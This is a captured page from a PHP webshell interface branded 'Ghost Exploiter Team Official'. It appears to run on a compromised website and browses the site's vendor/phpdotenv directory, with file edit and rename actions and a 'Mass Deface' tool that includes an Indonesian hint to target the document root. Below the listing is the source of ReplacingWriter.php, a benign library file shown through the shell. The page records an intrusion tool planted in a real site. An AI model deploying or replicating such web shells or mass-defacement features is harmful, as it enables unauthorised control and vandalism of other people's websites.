webshell
Ghost Exploiter Team Official
Mass Deface
Directory >>
/
home
/
whitjouh
/
public_html
/
core
/
vendor
/
vlucas
/
phpdotenv
/
src
/
Repository
/
Adapter
/
Mass Deface Auto Detect Domain
/*Ubah Ke document_root untuk mass deface*/
File / Folder
Size
Action
.
-
+New File
AdapterInterface.php
0.338KB
edt
ren
ApacheAdapter.php
1.928KB
edt
ren
ArrayAdapter.php
1.572KB
edt
ren
EnvConstAdapter.php
1.897KB
edt
ren
GuardedWriter.php
1.831KB
edt
ren
ImmutableWriter.php
2.482KB
edt
ren
MultiReader.php
0.946KB
edt
ren
MultiWriter.php
1.27KB
edt
ren
PutenvAdapter.php
1.849KB
edt
ren
ReaderInterface.php
0.293KB
edt
ren
ReplacingWriter.php
2.159KB
edt
ren
ServerConstAdapter.php
1.912KB
edt
ren
WriterInterface.php
0.506KB
edt
ren
<?php declare(strict_types=1); namespace Dotenv\Repository\Adapter; final class ReplacingWriter implements WriterInterface { /** * The inner writer to use. * * @var \Dotenv\Repository\Adapter\WriterInterface */ private $writer; /** * The inner reader to use. * * @var \Dotenv\Repository\Adapter\ReaderInterface */ private $reader; /** * The record of seen variables. * * @var array<string,string> */ private $seen; /** * Create a new replacement writer instance. * * @param \Dotenv\Repository\Adapter\WriterInterface $writer * @param \Dotenv\Repository\Adapter\ReaderInterface $reader * * @return void */ public function __construct(WriterInterface $writer, ReaderInterface $reader) { $this->writer = $writer; $this->reader = $reader; $this->seen = []; } /** * Write to an environment variable, if possible. * * @param non-empty-string $name * @param string $value * * @return bool */ public function write(string $name, string $value) { if ($this->exists($name)) { return $this->writer->write($name, $value); } // succeed if nothing to do return true; } /** * Delete an environment variable, if possible. * * @param non-empty-string $name * * @return bool */ public function delete(string $name) { if ($this->exists($name)) { return $this->writer->delete($name); } // succeed if nothing to do return true; } /** * Does the given environment variable exist. * * Returns true if it currently exists, or existed at any point in the past * that we are aware of. * * @param non-empty-string $name * * @return bool */ private function exists(string $name) { if (isset($this->seen[$name])) { return true; } if ($this->reader->read($name)->isDefined()) { $this->seen[$name] = ''; return true; } return false; } }